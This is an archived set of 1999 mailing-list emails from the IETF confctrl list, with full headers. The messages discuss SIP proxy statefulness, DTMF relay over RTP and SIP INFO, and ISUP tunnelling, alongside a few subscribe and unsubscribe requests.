> My Q here is: why cant UA2 send an err to P1 which simply forwards it to
> UA1. On recv. UA1 sends ACK which P1 forwards to UA2 ? Isnt that a more
> straight forward way ?

This is exactly what a stateless proxy will do. The stateless proxy is
simpler but can provide fewer services. Its an implementation choice as
to whether you make your proxies stateless or stateful.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Aug  2 10:19:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA11724
	for confctrl-outgoing; Mon, 2 Aug 1999 10:19:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA11719
	for <confctrl@zephyr.isi.edu>; Mon, 2 Aug 1999 10:18:58 -0700 (PDT)
Received: from tnint06.telogy.com (tnint06.telogy.com [209.116.120.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA24830
	for <confctrl@isi.edu>; Mon, 2 Aug 1999 10:18:57 -0700 (PDT)
Received: by argentina.telogy.com with Internet Mail Service (5.5.2448.0)
	id <PNGHW6B3>; Mon, 2 Aug 1999 13:18:56 -0400
Message-ID: <61891BA043DED21180920090273F17380346F0@argentina.telogy.com>
From: Wing Man Kwok <wkwok@telogy.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: dtmf relay in SIP?
Date: Mon, 2 Aug 1999 13:18:54 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

All,

If I have a regular telephone connected to a SIP enabled gateway and calls
another telephone with similar connection, is there anyway I can do dtmf
relay between the two phones in the SIP network?  That is, when the gateway
receives a dtmf tone from the connected telephone, how does the gateway send
out the dtmf tone in a SIP message?

Any suggestion or recommendation is greatly appreciated.

Wing Man Kwok

From confctrl-owner  Mon Aug  2 12:13:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA17148
	for confctrl-outgoing; Mon, 2 Aug 1999 12:13:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA17143
	for <confctrl@zephyr.isi.edu>; Mon, 2 Aug 1999 12:13:36 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA12578
	for <confctrl@ISI.EDU>; Mon, 2 Aug 1999 12:13:34 -0700 (PDT)
From: gonzalo.camarillo@lmf.ericsson.se
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id VAA14737;
	Mon, 2 Aug 1999 21:13:29 +0200 (MET DST)
Received: from greymse1.lmf.ericsson.se by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id WAA14872; Mon, 2 Aug 1999 22:12:57 +0300 (EET DST)
Received: from localhost (root@localhost)
	by greymse1.lmf.ericsson.se (8.8.6 (PHNE_14041)/8.8.6) with SMTP id WAA11206;
	Mon, 2 Aug 1999 22:12:58 +0300 (EETDST)
X-OpenMail-Hops: 1
Date: Mon, 2 Aug 1999 22:12:42 +0300
Message-Id: <H0000e4b02a88b42@MHS>
In-Reply-To: <61891BA043DED21180920090273F17380346F0@argentina.telogy.com>
Subject: dtmf relay in SIP?
MIME-Version: 1.0
TO: wkwok@telogy.com
CC: confctrl@ISI.EDU
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

> If I have a regular telephone connected to a SIP enabled gateway and calls
> another telephone with similar connection, is there anyway I can do dtmf
> relay between the two phones in the SIP network?  That is, when the gateway
> receives a dtmf tone from the connected telephone, how does the gateway send
> out the dtmf tone in a SIP message?

You can use either the SIP INFO method or just encode the DTMF tones in RTP
packets...

Regards,

Gonzalo


From confctrl-owner  Mon Aug  2 13:44:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA21159
	for confctrl-outgoing; Mon, 2 Aug 1999 13:44:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA21153
	for <confctrl@zephyr.isi.edu>; Mon, 2 Aug 1999 13:44:19 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA23393
	for <confctrl@ISI.EDU>; Mon, 2 Aug 1999 13:44:18 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Aug  2 16:42:16 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id QAA27455;
	Mon, 2 Aug 1999 16:42:31 -0400 (EDT)
Message-ID: <37A6028E.45425202@dnrc.bell-labs.com>
Date: Mon, 02 Aug 1999 16:41:50 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: gonzalo.camarillo@lmf.ericsson.se
CC: wkwok@telogy.com, confctrl@ISI.EDU
Subject: Re: dtmf relay in SIP?
References: <H0000e4b02a88b42@MHS>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This configuration is a classic case of where RTP encapsulation is best.
I'm personally unconvinced about dtmf transport in SIP in general; here
its definitely not needed.

Thanks,
Jonathan R.

gonzalo.camarillo@lmf.ericsson.se wrote:
> 
> Hi,
> 
> > If I have a regular telephone connected to a SIP enabled gateway and calls
> > another telephone with similar connection, is there anyway I can do dtmf
> > relay between the two phones in the SIP network?  That is, when the gateway
> > receives a dtmf tone from the connected telephone, how does the gateway send
> > out the dtmf tone in a SIP message?
> 
> You can use either the SIP INFO method or just encode the DTMF tones in RTP
> packets...
> 
> Regards,
> 
> Gonzalo

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Aug  3 00:11:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA14434
	for confctrl-outgoing; Tue, 3 Aug 1999 00:11:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA14429
	for <confctrl@zephyr.isi.edu>; Tue, 3 Aug 1999 00:11:44 -0700 (PDT)
Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA12087
	for <confctrl@ISI.EDU>; Tue, 3 Aug 1999 00:11:42 -0700 (PDT)
Received: from jacob ([194.90.192.122])
	by mailgw1.netvision.net.il (8.9.3/8.9.3) with SMTP id GAA26271
	for <confctrl@ISI.EDU>; Mon, 3 Aug 1998 06:53:09 +0300
From: "Jacob Avraham" <jacoba@mediagate.co.il>
To: <confctrl@ISI.EDU>
Subject: RE: dtmf relay in SIP?
Date: Tue, 3 Aug 1999 10:16:47 +0300
Message-ID: <000001bedd80$260dbee0$7ac05ac2@mediagate>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
In-Reply-To: <37A6028E.45425202@dnrc.bell-labs.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I'm curious about DTMF in-band within the RTP stream. My audio guys tell me
that once the audio is encoded with something like G.723 or some other
vocoder, you loose the tone frequency info and it's almost impossible
to get accurate detection of DTMF.
Possibly, one could change RTP payload mid-stream to something like G.711
but that's not always feasible (and forbidden by other protocols like H323).
Any real world experience with this issue?

Thanks,

Jacob Avraham
Mediagate 
> 
> This configuration is a classic case of where RTP encapsulation is best.
> I'm personally unconvinced about dtmf transport in SIP in general; here
> its definitely not needed.
> 
> Thanks,
> Jonathan R.
> 
> gonzalo.camarillo@lmf.ericsson.se wrote:
> > 
> > Hi,
> > 
> > > If I have a regular telephone connected to a SIP enabled gateway and calls
> > > another telephone with similar connection, is there anyway I can do dtmf
> > > relay between the two phones in the SIP network?  That is, when the gateway
> > > receives a dtmf tone from the connected telephone, how does the gateway send
> > > out the dtmf tone in a SIP message?
> > 
> > You can use either the SIP INFO method or just encode the DTMF tones in RTP
> > packets...
> > 
> > Regards,
> > 
> > Gonzalo


From confctrl-owner  Tue Aug  3 06:10:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA25407
	for confctrl-outgoing; Tue, 3 Aug 1999 06:10:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA25402
	for <confctrl@zephyr.isi.edu>; Tue, 3 Aug 1999 06:10:19 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA21844
	for <confctrl@isi.edu>; Tue, 3 Aug 1999 06:10:18 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Aug  3 09:08:01 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.253.139])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA07807;
	Tue, 3 Aug 1999 09:08:15 -0400 (EDT)
Message-ID: <37A6EA04.5F96E497@dnrc.bell-labs.com>
Date: Tue, 03 Aug 1999 09:09:24 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jacob Avraham <jacoba@mediagate.co.il>
CC: confctrl@ISI.EDU
Subject: Re: dtmf relay in SIP?
References: <000001bedd80$260dbee0$7ac05ac2@mediagate>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is the purpose of the RTP payload format for tone and dtmf
transport:
http://www.ietf.org/internet-drafts/draft-ietf-avt-tones-00.txt

it carries the dtmf either as a named signal, or through a
frequency/modulation representation. This is what I was referring to
below.

-Jonathan R.

Jacob Avraham wrote:
> 
> I'm curious about DTMF in-band within the RTP stream. My audio guys tell me
> that once the audio is encoded with something like G.723 or some other
> vocoder, you loose the tone frequency info and it's almost impossible
> to get accurate detection of DTMF.
> Possibly, one could change RTP payload mid-stream to something like G.711
> but that's not always feasible (and forbidden by other protocols like H323).
> Any real world experience with this issue?
> 
> Thanks,
> 
> Jacob Avraham
> Mediagate

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Aug  3 07:02:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA27304
	for confctrl-outgoing; Tue, 3 Aug 1999 07:02:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27299
	for <confctrl@zephyr.isi.edu>; Tue, 3 Aug 1999 07:02:11 -0700 (PDT)
Received: from usmlns02.jax.ecitele.com ([12.27.128.28])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA24123
	for <confctrl@ISI.EDU>; Tue, 3 Aug 1999 07:02:10 -0700 (PDT)
Received: from ksai ([172.20.11.96]) by usmlns02.jax.ecitele.com (Lotus SMTP MTA v4.6.5  (863.2 5-20-1999)) with SMTP id 852567C2.004D0A30; Tue, 3 Aug 1999 10:01:28 -0400
Message-ID: <001a01beddb8$aec35370$600b14ac@ksai.ecijax.com>
Reply-To: "Krishna Sai" <ksai@bigfoot.com>
From: "Krishna Sai" <ksai@bigfoot.com>
To: "Jacob Avraham" <jacoba@mediagate.co.il>, <confctrl@ISI.EDU>
Subject: Re: dtmf relay in SIP?
Date: Tue, 3 Aug 1999 10:01:28 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The avt (audio/video transport) group works on these issues. In particular,
refer to drafts like :
http://www.ietf.org/internet-drafts/draft-ietf-avt-dtmf-01.txt
http://www.ietf.org/internet-drafts/draft-ietf-avt-tones-00.txt

regards,
Krishna Sai
ECI Telecom

-----Original Message-----
From: Jacob Avraham <jacoba@mediagate.co.il>
To: confctrl@ISI.EDU <confctrl@ISI.EDU>
Date: Tuesday, August 03, 1999 5:44 AM
Subject: RE: dtmf relay in SIP?


>
>
>
>I'm curious about DTMF in-band within the RTP stream. My audio guys tell me
>that once the audio is encoded with something like G.723 or some other
>vocoder, you loose the tone frequency info and it's almost impossible
>to get accurate detection of DTMF.
>Possibly, one could change RTP payload mid-stream to something like G.711
>but that's not always feasible (and forbidden by other protocols like
>H323).
>Any real world experience with this issue?
>
>Thanks,
>
>Jacob Avraham
>Mediagate
>>
>> This configuration is a classic case of where RTP encapsulation is best.
>> I'm personally unconvinced about dtmf transport in SIP in general; here
>> its definitely not needed.
>>
>> Thanks,
>> Jonathan R.
>>
>> gonzalo.camarillo@lmf.ericsson.se wrote:
>> >
>> > Hi,
>> >
>> > > If I have a regular telephone connected to a SIP enabled gateway and
>calls
>> > > another telephone with similar connection, is there anyway I can do
>dtmf
>> > > relay between the two phones in the SIP network?  That is, when the
>gateway
>> > > receives a dtmf tone from the connected telephone, how does the
>gateway send
>> > > out the dtmf tone in a SIP message?
>> >
>> > You can use either the SIP INFO method or just encode the DTMF tones in
>RTP
>> > packets...
>> >
>> > Regards,
>> >
>> > Gonzalo
>
>


From confctrl-owner  Tue Aug  3 07:10:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA27622
	for confctrl-outgoing; Tue, 3 Aug 1999 07:10:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27617
	for <confctrl@zephyr.isi.edu>; Tue, 3 Aug 1999 07:10:47 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24483
	for <confctrl@ISI.EDU>; Tue, 3 Aug 1999 07:10:46 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id JAA10594;
	Tue, 3 Aug 1999 09:10:15 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id JAA06443;
	Tue, 3 Aug 1999 09:10:14 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA21077; Tue, 3 Aug 1999 09:10:14 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id JAA04985;
	Tue, 3 Aug 1999 09:10:12 -0500 (CDT)
Message-Id: <199908031410.JAA04985@b04a24.exu.ericsson.se>
Subject: Re: dtmf relay in SIP?
To: jacoba@mediagate.co.il (Jacob Avraham)
Date: Tue, 3 Aug 1999 09:10:12 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <000001bedd80$260dbee0$7ac05ac2@mediagate> from "Jacob Avraham" at Aug 3, 99 10:16:47 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I'm curious about DTMF in-band within the RTP stream. My audio guys tell me
>that once the audio is encoded with something like G.723 or some other
>vocoder, you loose the tone frequency info and it's almost impossible
>to get accurate detection of DTMF.

There's an rtp payload format being designed which addresses this issue. 
The short explanation is that you don't encode tones using a normal 
vocoder; you detect them and send a symbolic representation of them
(e.g. frequency1 + frequency2) down the rtp stream instead.

See draft-ietf-avt-tones-01.txt for details.

>Any real world experience with this issue?

Current commercial implementations usually use G.711 for all calls
to solve this issue. Not optimal, but effective.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Aug  3 20:26:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA01549
	for confctrl-outgoing; Tue, 3 Aug 1999 20:26:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA01544
	for <confctrl@zephyr.isi.edu>; Tue, 3 Aug 1999 20:26:31 -0700 (PDT)
Received: from pop-rocks.shoretel.com (Pop-Rocks.shoretel.COM [208.163.34.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA05837
	for <confctrl@isi.edu>; Tue, 3 Aug 1999 20:26:31 -0700 (PDT)
Received: from ws120.shoretel.COM by pop-rocks.shoretel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8)
	id PN6271CQ; Tue, 3 Aug 1999 20:29:00 -0700
Message-ID: <02dc01bede28$5b29b270$7822a3d0@candy.shoretel.com>
From: "Thomas Liu" <tliu@wishcom.com>
To: <confctrl@ISI.EDU>
Date: Tue, 3 Aug 1999 20:20:52 -0700
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_02D9_01BEDDED.AEADB580"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_02D9_01BEDDED.AEADB580
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

subscribe MMUSIC tliu@wishcom.com

------=_NextPart_000_02D9_01BEDDED.AEADB580
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>subscribe MMUSIC <A=20
href=3D"mailto:tliu@wishcom.com">tliu@wishcom.com</A></FONT></DIV></BODY>=
</HTML>

------=_NextPart_000_02D9_01BEDDED.AEADB580--


From confctrl-owner  Tue Aug  3 22:10:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA05159
	for confctrl-outgoing; Tue, 3 Aug 1999 22:10:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA05112
	for <confctrl@zephyr.isi.edu>; Tue, 3 Aug 1999 22:10:01 -0700 (PDT)
Received: from dwarpal.wipsys.soft.net (dwarpal.wipsys.soft.net [164.164.127.8])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA09915
	for <confctrl@isi.edu>; Tue, 3 Aug 1999 22:09:57 -0700 (PDT)
Received: by dwarpal.wipsys.soft.net (SMI-8.6/SMI-SVR4)
	id KAA18448; Wed, 4 Aug 1999 10:35:47 +0530
Received: from ace.wipsys.soft.net(164.164.29.18) by dwarpal via smap (V2.0)
	id xmaa18436; Wed, 4 Aug 99 10:35:46 +0530
Received: from dam.wipsys.soft.net ([164.164.28.254])
          by ace.wipsys.soft.net (Netscape Messaging Server 3.6)  with SMTP
          id AAA7085 for <confctrl@isi.edu>; Wed, 4 Aug 1999 10:39:27 +0530
Message-ID: <02b101bede38$50b497a0$fe1ca4a4@dam.wipsys.soft.net>
From: "kartick Sundaram" <karsun@wipsys.soft.net>
To: <confctrl@ISI.EDU>
Subject: remove karsun@wipsys.soft.net
Date: Wed, 4 Aug 1999 10:45:05 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_02AE_01BEDE66.69EFB460"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_02AE_01BEDE66.69EFB460
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

remove karsun@wipsys.soft.net


------=_NextPart_000_02AE_01BEDE66.69EFB460
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>remove <A=20
href=3D"mailto:karsun@wipsys.soft.net">karsun@wipsys.soft.net</A></FONT><=
/DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_02AE_01BEDE66.69EFB460--


From confctrl-owner  Wed Aug  4 08:54:32 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA26801
	for confctrl-outgoing; Wed, 4 Aug 1999 08:54:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26796
	for <confctrl@zephyr.isi.edu>; Wed, 4 Aug 1999 08:54:31 -0700 (PDT)
Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04090
	for <confctrl@ISI.EDU>; Wed, 4 Aug 1999 08:54:30 -0700 (PDT)
Received: from southrelay01.raleigh.ibm.com (southrelay01.raleigh.ibm.com [9.37.3.208])
	by e3.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA120176
	for <confctrl@ISI.EDU>; Wed, 4 Aug 1999 11:54:10 -0400
Received: from austin.ibm.com (nucleus.austin.ibm.com [9.53.154.119])
	by southrelay01.raleigh.ibm.com (8.8.8m2/NCO v2.04) with ESMTP id LAA82576
	for <confctrl@ISI.EDU>; Wed, 4 Aug 1999 11:53:59 -0400
Message-ID: <37A86219.4D6C5074@austin.ibm.com>
Date: Wed, 04 Aug 1999 10:54:01 -0500
From: Partha Narayanan <nps@austin.ibm.com>
X-Mailer: Mozilla 4.06 [en] (X11; I; AIX 4.3)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: remove nps@austin.ibm.com
Content-Type: multipart/alternative; boundary="------------05C27EEAD26A96BB4BD8663F"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------05C27EEAD26A96BB4BD8663F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

remove nps@austin.ibm.com

--
Partha Narayanan



--------------05C27EEAD26A96BB4BD8663F
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
remove nps@austin.ibm.com
<PRE>--&nbsp;
Partha Narayanan</PRE>
&nbsp;</HTML>

--------------05C27EEAD26A96BB4BD8663F--


From confctrl-owner  Wed Aug  4 11:39:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA05473
	for confctrl-outgoing; Wed, 4 Aug 1999 11:39:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05468
	for <confctrl@zephyr.isi.edu>; Wed, 4 Aug 1999 11:39:38 -0700 (PDT)
Received: from uran.ipl.net (uran.ipl.net [195.116.152.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA20449
	for <confctrl@ISI.EDU>; Wed, 4 Aug 1999 11:39:37 -0700 (PDT)
Received: from mm (pa219.krakow.ppp.tpnet.pl [212.160.2.219])
	by uran.ipl.net (8.9.0/8.9.0) with SMTP id UAA05843
	for <confctrl@ISI.EDU>; Wed, 4 Aug 1999 20:39:20 +0200
Message-Id: <199908041839.UAA05843@uran.ipl.net>
From: "Marcin Michalak" <marcinmm@student.uci.agh.edu.pl>
To: confctrl@ISI.EDU
Date: Wed, 4 Aug 1999 20:42:07 +0100
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: New member
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.11)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello everybody !
 I'm a student of computer sciences in Krakow, Poland and am willing to 
work on SIP projects in the future. These are:
1) IP<->PSTN gateway with SIP support (probably on Dialogic board)
2) CORBA AVSC<->SIP gateway
 If there's anybody who's working on the same subjects, please contact 
me - we could share our experiences.
 Is there any source code for the UAS/UAS available ? This would help 
me much.
 Marcin Michalak
           Marcin Michalak - SQ9APQ
        	 mm@ipl.net

From confctrl-owner  Fri Aug  6 00:45:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA00470
	for confctrl-outgoing; Fri, 6 Aug 1999 00:45:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA00465
	for <confctrl@zephyr.isi.edu>; Fri, 6 Aug 1999 00:45:39 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA09671
	for <confctrl@ISI.EDU>; Fri, 6 Aug 1999 00:45:35 -0700 (PDT)
Received: from ebcs08.ebc.ericsson.se (ebcs08.ebc.ericsson.se [130.100.12.8])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id JAA28677;
	Fri, 6 Aug 1999 09:45:34 +0200 (MET DST)
Received: from ebc.ericsson.se (ebcw337.ebc.ericsson.se [153.88.17.6])
	by ebcs08.ebc.ericsson.se (8.8.4/8.8.4) with ESMTP
	id JAA04131; Fri, 6 Aug 1999 09:45:33 +0200 (MET DST)
Message-ID: <37AA929C.1D907168@ebc.ericsson.se>
Date: Fri, 06 Aug 1999 09:45:32 +0200
From: Sanchez Jorge <Jorge.Sanchez@ebc.ericsson.se>
X-Mailer: Mozilla 4.07 [en] (X11; I; SunOS 5.6 sun4m)
MIME-Version: 1.0
To: Adam.Roach@Ericsson.com
CC: confctrl@ISI.EDU
Subject: ISUP tunneling
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Adam,

I have a question regarding draft "ISUP parameters expected in SIP
messages"
<draft-roach-sip-isup-parameters-00.txt>. You describe that ISUP
messages
can be expected in a CANCEL or BYE request. I suppose that all messages
tunneled
onto SIP are carried in Content-Encoding header field, and this header
is defined in
SIP as being not applicable for CANCEL and BYE methods. What am I
missing here?

Regards,
    Jorge


